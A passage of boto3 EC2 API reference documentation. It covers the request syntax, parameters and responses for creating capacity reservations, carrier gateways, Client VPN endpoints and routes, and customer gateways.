The number of instances for which to reserve capacity. + +* **EbsOptimized** (_boolean_) -- Indicates whether the Capacity Reservation supports EBS-optimized instances. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS- optimized instance. +* **EphemeralStorage** (_boolean_) -- Indicates whether the Capacity Reservation supports instances with temporary, block-level storage. +* **EndDate** (_datetime_) -- + + The date and time at which the Capacity Reservation expires. When a Capacity Reservation expires, the reserved capacity is released and you can no longer launch instances into it. The Capacity Reservation's state changes to expired when it reaches its end date and time. + + You must provide an EndDate value if EndDateType is limited . Omit EndDate if EndDateType is unlimited . + + If the EndDateType is limited , the Capacity Reservation is cancelled within an hour from the specified time. For example, if you specify 5/31/2019, 13:30:55, the Capacity Reservation is guaranteed to end between 13:30:55 and 14:30:55 on 5/31/2019. + +* **EndDateType** (_string_) -- + + Indicates the way in which the Capacity Reservation ends. A Capacity Reservation can have one of the following end types: + + * unlimited - The Capacity Reservation remains active until you explicitly cancel it. Do not provide an EndDate if the EndDateType is unlimited . + * limited - The Capacity Reservation expires automatically at a specified date and time. You must provide an EndDate value if the EndDateType value is limited . +* **InstanceMatchCriteria** (_string_) -- + + Indicates the type of instance launches that the Capacity Reservation accepts. The options include: + + * open - The Capacity Reservation automatically matches all instances that have matching attributes (instance type, platform, and Availability Zone). Instances that have matching attributes run in the Capacity Reservation automatically without specifying any additional parameters. + * targeted - The Capacity Reservation only accepts instances that have matching attributes (instance type, platform, and Availability Zone), and explicitly target the Capacity Reservation. This ensures that only permitted instances can use the reserved capacity. + + Default: open + +* **TagSpecifications** (_list_) -- + + The tags to apply to the Capacity Reservation during launch. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id56)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id58)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CapacityReservation': { + 'CapacityReservationId': 'string', + 'OwnerId': 'string', + 'CapacityReservationArn': 'string', + 'AvailabilityZoneId': 'string', + 'InstanceType': 'string', + 'InstancePlatform': 'Linux/UNIX'|'Red Hat Enterprise Linux'|'SUSE Linux'|'Windows'|'Windows with SQL Server'|'Windows with SQL Server Enterprise'|'Windows with SQL Server Standard'|'Windows with SQL Server Web'|'Linux with SQL Server Standard'|'Linux with SQL Server Web'|'Linux with SQL Server Enterprise', + 'AvailabilityZone': 'string', + 'Tenancy': 'default'|'dedicated', + 'TotalInstanceCount': 123, + 'AvailableInstanceCount': 123, + 'EbsOptimized': True|False, + 'EphemeralStorage': True|False, + 'State': 'active'|'expired'|'cancelled'|'pending'|'failed', + 'EndDate': datetime(2015, 1, 1), + 'EndDateType': 'unlimited'|'limited', + 'InstanceMatchCriteria': 'open'|'targeted', + 'CreateDate': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **CapacityReservation** _(dict) --_ + + Information about the Capacity Reservation. + + * **CapacityReservationId** _(string) --_ + + The ID of the Capacity Reservation. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the Capacity Reservation. + + * **CapacityReservationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Capacity Reservation. + + * **AvailabilityZoneId** _(string) --_ + + The Availability Zone ID of the Capacity Reservation. + + * **InstanceType** _(string) --_ + + The type of instance for which the Capacity Reservation reserves capacity. + + * **InstancePlatform** _(string) --_ + + The type of operating system for which the Capacity Reservation reserves capacity. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone in which the capacity is reserved. + + * **Tenancy** _(string) --_ + + Indicates the tenancy of the Capacity Reservation. A Capacity Reservation can have one of the following tenancy settings: + + * default - The Capacity Reservation is created on hardware that is shared with other AWS accounts. + * dedicated - The Capacity Reservation is created on single-tenant hardware that is dedicated to a single AWS account. + * **TotalInstanceCount** _(integer) --_ + + The total number of instances for which the Capacity Reservation reserves capacity. + + * **AvailableInstanceCount** _(integer) --_ + + The remaining capacity. Indicates the number of instances that can be launched in the Capacity Reservation. + + * **EbsOptimized** _(boolean) --_ + + Indicates whether the Capacity Reservation supports EBS-optimized instances. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS- optimized instance. + + * **EphemeralStorage** _(boolean) --_ + + Indicates whether the Capacity Reservation supports instances with temporary, block-level storage. + + * **State** _(string) --_ + + The current state of the Capacity Reservation. A Capacity Reservation can be in one of the following states: + + * active - The Capacity Reservation is active and the capacity is available for your use. + * expired - The Capacity Reservation expired automatically at the date and time specified in your request. The reserved capacity is no longer available for your use. + * cancelled - The Capacity Reservation was manually cancelled. The reserved capacity is no longer available for your use. + * pending - The Capacity Reservation request was successful but the capacity provisioning is still pending. + * failed - The Capacity Reservation request has failed. A request might fail due to invalid request parameters, capacity constraints, or instance limit constraints. Failed requests are retained for 60 minutes. + * **EndDate** _(datetime) --_ + + The date and time at which the Capacity Reservation expires. When a Capacity Reservation expires, the reserved capacity is released and you can no longer launch instances into it. The Capacity Reservation's state changes to expired when it reaches its end date and time. + + * **EndDateType** _(string) --_ + + Indicates the way in which the Capacity Reservation ends. A Capacity Reservation can have one of the following end types: + + * unlimited - The Capacity Reservation remains active until you explicitly cancel it. + * limited - The Capacity Reservation expires automatically at a specified date and time. + * **InstanceMatchCriteria** _(string) --_ + + Indicates the type of instance launches that the Capacity Reservation accepts. The options include: + + * open - The Capacity Reservation accepts all instances that have matching attributes (instance type, platform, and Availability Zone). Instances that have matching attributes launch into the Capacity Reservation automatically without specifying any additional parameters. + * targeted - The Capacity Reservation only accepts instances that have matching attributes (instance type, platform, and Availability Zone), and explicitly target the Capacity Reservation. This ensures that only permitted instances can use the reserved capacity. + * **CreateDate** _(datetime) --_ + + The date and time at which the Capacity Reservation was created. + + * **Tags** _(list) --_ + + Any tags assigned to the Capacity Reservation. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +create_carrier_gateway(kwargs_) + +Creates a carrier gateway. For more information about carrier gateways, see [Carrier gateways](https://docs.aws.amazon.com/wavelength/latest/developerguide/how-wavelengths-work.html#wavelength-carrier-gateway) in the _AWS Wavelength Developer Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateCarrierGateway) + +**Request Syntax** + +response = client.create_carrier_gateway( + VpcId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False, + ClientToken='string' +) + +Parameters + +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC to associate with the carrier gateway. + +* **TagSpecifications** (_list_) -- + + The tags to associate with the carrier gateway. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id61)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id63)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Run_Instance_Idempotency.html) . + + This field is autopopulated if not provided. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CarrierGateway': { + 'CarrierGatewayId': 'string', + 'VpcId': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'OwnerId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **CarrierGateway** _(dict) --_ + + Information about the carrier gateway. + + * **CarrierGatewayId** _(string) --_ + + The ID of the carrier gateway. + + * **VpcId** _(string) --_ + + The ID of the VPC associated with the carrier gateway. + + * **State** _(string) --_ + + The state of the carrier gateway. + + * **OwnerId** _(string) --_ + + The AWS account ID of the owner of the carrier gateway. + + * **Tags** _(list) --_ + + The tags assigned to the carrier gateway. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +create_client_vpn_endpoint(kwargs_) + +Creates a Client VPN endpoint. A Client VPN endpoint is the resource you create and configure to enable and manage client VPN sessions. It is the destination endpoint at which all client VPN sessions are terminated. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateClientVpnEndpoint) + +**Request Syntax** + +response = client.create_client_vpn_endpoint( + ClientCidrBlock='string', + ServerCertificateArn='string', + AuthenticationOptions=[ + { + 'Type': 'certificate-authentication'|'directory-service-authentication'|'federated-authentication', + 'ActiveDirectory': { + 'DirectoryId': 'string' + }, + 'MutualAuthentication': { + 'ClientRootCertificateChainArn': 'string' + }, + 'FederatedAuthentication': { + 'SAMLProviderArn': 'string', + 'SelfServiceSAMLProviderArn': 'string' + } + }, + ], + ConnectionLogOptions={ + 'Enabled': True|False, + 'CloudwatchLogGroup': 'string', + 'CloudwatchLogStream': 'string' + }, + DnsServers=[ + 'string', + ], + TransportProtocol='tcp'|'udp', + VpnPort=123, + Description='string', + SplitTunnel=True|False, + DryRun=True|False, + ClientToken='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + SecurityGroupIds=[ + 'string', + ], + VpcId='string', + SelfServicePortal='enabled'|'disabled', + ClientConnectOptions={ + 'Enabled': True|False, + 'LambdaFunctionArn': 'string' + } +) + +Parameters + +* **ClientCidrBlock** (_string_) -- + + **[REQUIRED]** + + The IPv4 address range, in CIDR notation, from which to assign client IP addresses. The address range cannot overlap with the local CIDR of the VPC in which the associated subnet is located, or the routes that you add manually. The address range cannot be changed after the Client VPN endpoint has been created. The CIDR block should be /22 or greater. + +* **ServerCertificateArn** (_string_) -- + + **[REQUIRED]** + + The ARN of the server certificate. For more information, see the [AWS Certificate Manager User Guide](https://docs.aws.amazon.com/acm/latest/userguide/) . + +* **AuthenticationOptions** (_list_) -- + + **[REQUIRED]** + + Information about the authentication method to be used to authenticate clients. + + * _(dict) --_ + + Describes the authentication method to be used by a Client VPN endpoint. For more information, see [Authentication](https://docs.aws.amazon.com/vpn/latest/clientvpn-admin/authentication-authrization.html#client-authentication) in the _AWS Client VPN Administrator Guide_ . + + * **Type** _(string) --_ + + The type of client authentication to be used. + + * **ActiveDirectory** _(dict) --_ + + Information about the Active Directory to be used, if applicable. You must provide this information if **Type** is directory-service-authentication . + + * **DirectoryId** _(string) --_ + + The ID of the Active Directory to be used for authentication. + + * **MutualAuthentication** _(dict) --_ + + Information about the authentication certificates to be used, if applicable. You must provide this information if **Type** is certificate-authentication . + + * **ClientRootCertificateChainArn** _(string) --_ + + The ARN of the client certificate. The certificate must be signed by a certificate authority (CA) and it must be provisioned in AWS Certificate Manager (ACM). + + * **FederatedAuthentication** _(dict) --_ + + Information about the IAM SAML identity provider to be used, if applicable. You must provide this information if **Type** is federated-authentication . + + * **SAMLProviderArn** _(string) --_ + + The Amazon Resource Name (ARN) of the IAM SAML identity provider. + + * **SelfServiceSAMLProviderArn** _(string) --_ + + The Amazon Resource Name (ARN) of the IAM SAML identity provider for the self-service portal. + +* **ConnectionLogOptions** (_dict_) -- + + **[REQUIRED]** + + Information about the client connection logging options. + + If you enable client connection logging, data about client connections is sent to a Cloudwatch Logs log stream. The following information is logged: + + * Client connection requests + * Client connection results (successful and unsuccessful) + * Reasons for unsuccessful client connection requests + * Client connection termination time + + * **Enabled** _(boolean) --_ + + Indicates whether connection logging is enabled. + + * **CloudwatchLogGroup** _(string) --_ + + The name of the CloudWatch Logs log group. Required if connection logging is enabled. + + * **CloudwatchLogStream** _(string) --_ + + The name of the CloudWatch Logs log stream to which the connection data is published. + +* **DnsServers** (_list_) -- + + Information about the DNS servers to be used for DNS resolution. A Client VPN endpoint can have up to two DNS servers. If no DNS server is specified, the DNS address configured on the device is used for the DNS server. + + * _(string) --_ +* **TransportProtocol** (_string_) -- + + The transport protocol to be used by the VPN session. + + Default value: udp + +* **VpnPort** (_integer_) -- + + The port number to assign to the Client VPN endpoint for TCP and UDP traffic. + + Valid Values: 443 | 1194 + + Default Value: 443 + +* **Description** (_string_) -- A brief description of the Client VPN endpoint. +* **SplitTunnel** (_boolean_) -- + + Indicates whether split-tunnel is enabled on the AWS Client VPN endpoint. + + By default, split-tunnel on a VPN endpoint is disabled. + + For information about split-tunnel VPN endpoints, see [Split-Tunnel AWS Client VPN Endpoint](https://docs.aws.amazon.com/vpn/latest/clientvpn-admin/split-tunnel-vpn.html) in the _AWS Client VPN Administrator Guide_ . + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + This field is autopopulated if not provided. + +* **TagSpecifications** (_list_) -- + + The tags to apply to the Client VPN endpoint during creation. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id66)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id68)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **SecurityGroupIds** (_list_) -- + + The IDs of one or more security groups to apply to the target network. You must also specify the ID of the VPC that contains the security groups. + + * _(string) --_ +* **VpcId** (_string_) -- The ID of the VPC to associate with the Client VPN endpoint. If no security group IDs are specified in the request, the default security group for the VPC is applied. +* **SelfServicePortal** (_string_) -- + + Specify whether to enable the self-service portal for the Client VPN endpoint. + + Default Value: enabled + +* **ClientConnectOptions** (_dict_) -- + + The options for managing connection authorization for new client connections. + + * **Enabled** _(boolean) --_ + + Indicates whether client connect options are enabled. The default is false (not enabled). + + * **LambdaFunctionArn** _(string) --_ + + The Amazon Resource Name (ARN) of the AWS Lambda function used for connection authorization. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ClientVpnEndpointId': 'string', + 'Status': { + 'Code': 'pending-associate'|'available'|'deleting'|'deleted', + 'Message': 'string' + }, + 'DnsName': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **ClientVpnEndpointId** _(string) --_ + + The ID of the Client VPN endpoint. + + * **Status** _(dict) --_ + + The current state of the Client VPN endpoint. + + * **Code** _(string) --_ + + The state of the Client VPN endpoint. Possible states include: + + * pending-associate - The Client VPN endpoint has been created but no target networks have been associated. The Client VPN endpoint cannot accept connections. + * available - The Client VPN endpoint has been created and a target network has been associated. The Client VPN endpoint can accept connections. + * deleting - The Client VPN endpoint is being deleted. The Client VPN endpoint cannot accept connections. + * deleted - The Client VPN endpoint has been deleted. The Client VPN endpoint cannot accept connections. + * **Message** _(string) --_ + + A message about the status of the Client VPN endpoint. + + * **DnsName** _(string) --_ + + The DNS name to be used by clients when establishing their VPN session. + + +create_client_vpn_route(kwargs_) + +Adds a route to a network to a Client VPN endpoint. Each Client VPN endpoint has a route table that describes the available destination network routes. Each route in the route table specifies the path for traffic to specific resources or networks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateClientVpnRoute) + +**Request Syntax** + +response = client.create_client_vpn_route( + ClientVpnEndpointId='string', + DestinationCidrBlock='string', + TargetVpcSubnetId='string', + Description='string', + ClientToken='string', + DryRun=True|False +) + +Parameters + +* **ClientVpnEndpointId** (_string_) -- + + **[REQUIRED]** + + The ID of the Client VPN endpoint to which to add the route. + +* **DestinationCidrBlock** (_string_) -- + + **[REQUIRED]** + + The IPv4 address range, in CIDR notation, of the route destination. For example: + + * To add a route for Internet access, enter 0.0.0.0/0 + * To add a route for a peered VPC, enter the peered VPC's IPv4 CIDR range + * To add a route for an on-premises network, enter the AWS Site-to-Site VPN connection's IPv4 CIDR range + * To add a route for the local network, enter the client CIDR range +* **TargetVpcSubnetId** (_string_) -- + + **[REQUIRED]** + + The ID of the subnet through which you want to route traffic. The specified subnet must be an existing target network of the Client VPN endpoint. + + Alternatively, if you're adding a route for the local network, specify local . + +* **Description** (_string_) -- A brief description of the route. +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + This field is autopopulated if not provided. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Status': { + 'Code': 'creating'|'active'|'failed'|'deleting', + 'Message': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **Status** _(dict) --_ + + The current state of the route. + + * **Code** _(string) --_ + + The state of the Client VPN endpoint route. + + * **Message** _(string) --_ + + A message about the status of the Client VPN endpoint route, if applicable. + + +create_customer_gateway(kwargs_) + +Provides information to AWS about your VPN customer gateway device. The customer gateway is the appliance at your end of the VPN connection. (The device on the AWS side of the VPN connection is the virtual private gateway.) You must provide the internet-routable IP address of the customer gateway's external interface. The IP address must be static and can be behind a device performing network address translation (NAT). + +For devices that use Border Gateway Protocol (BGP), you can also provide the device's BGP Autonomous System Number (ASN). You can use an existing ASN assigned to your network. If you don't have an ASN already, you can use a private ASN (in the 64512 - 65534 range). + +Note + +Amazon EC2 supports all 4-byte ASN numbers in the range of 1 - 2147483647, with the exception of the following: + +* 7224 - reserved in the us-east-1 Region +* 9059 - reserved in the eu-west-1 Region +* 17943 - reserved in the ap-southeast-1 Region +* 10124 - reserved in the ap-northeast-1 Region + +For more information, see [AWS Site-to-Site VPN](https://docs.aws.amazon.com/vpn/latest/s2svpn/VPC_VPN.html) in the _AWS Site-to-Site VPN User Guide_ . + +Warning + +To create more than one customer gateway with the same VPN type, IP address, and BGP ASN, specify a unique device name for each customer gateway. Identical requests return information about the existing customer gateway and do not create new customer gateways. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateCustomerGateway) + +**Request Syntax** + +response = client.create_customer_gateway( + BgpAsn=123, + PublicIp='string', + CertificateArn='string', + Type='ipsec.1', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DeviceName='string', + DryRun=True|False +) + +Parameters + +* **BgpAsn** (_integer_) -- + + **[REQUIRED]** + + For devices that support BGP, the customer gateway's BGP ASN. + + Default: 65000 + +* **PublicIp** (_string_) -- The Internet-routable IP address for the customer gateway's outside interface. The address must be static. +* **CertificateArn** (_string_) -- The Amazon Resource Name (ARN) for the customer gateway certificate. +* **Type** (_string_) -- + + **[REQUIRED]** + + The type of VPN connection that this customer gateway supports (ipsec.1 ). + +* **TagSpecifications** (_list_) -- + + The tags to apply to the customer gateway. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id72)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id74)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DeviceName** (_string_) -- + + A name for the customer gateway device. + + Length Constraints: Up to 255 characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CustomerGateway': { + 'BgpAsn': 'string', + 'CustomerGatewayId': 'string', + 'IpAddress': 'string', + 'CertificateArn': 'string', + 'State': 'string', + 'Type': 'string', + 'DeviceName': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of CreateCustomerGateway. + + * **CustomerGateway** _(dict) --_ + + Information about the customer gateway. + + * **BgpAsn** _(string) --_ + + The customer gateway's Border Gateway Protocol (BGP) Autonomous System Number (ASN). + + * **CustomerGatewayId** _(string) --_ + + The ID of the customer gateway. + + * **IpAddress** _(string) --_ + + The Internet-routable IP address of the customer gateway's outside interface. + + * **CertificateArn** _(string) --_ + + The Amazon Resource Name (ARN) for the customer gateway certificate. + + * **State** _(string) --_ + + The current state of the customer gateway (pending | available | deleting | deleted ). + + * **Type** _(string) --_ + + The type of VPN connection the customer gateway supports (ipsec.1 ). + + * **DeviceName** _(string) --_ + + The name of customer gateway device. + + * **Tags** _(list) --_ + + Any tags assigned to the customer gateway. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +**Examples** + +This example creates a customer gateway with the specified IP address for its outside interface. + +response = client.create_customer_gateway( + BgpAsn=65534, + PublicIp='12.1.2.3', + Type='ipsec.1', +) + +print(response) + +Expected Output: + +{ + 'CustomerGateway': { + 'BgpAsn': '65534', + 'CustomerGatewayId': 'cgw-0e11f167', + 'IpAddress': '12.1.2.3', + 'State': 'available', + 'Type': 'ipsec.1', + }, + 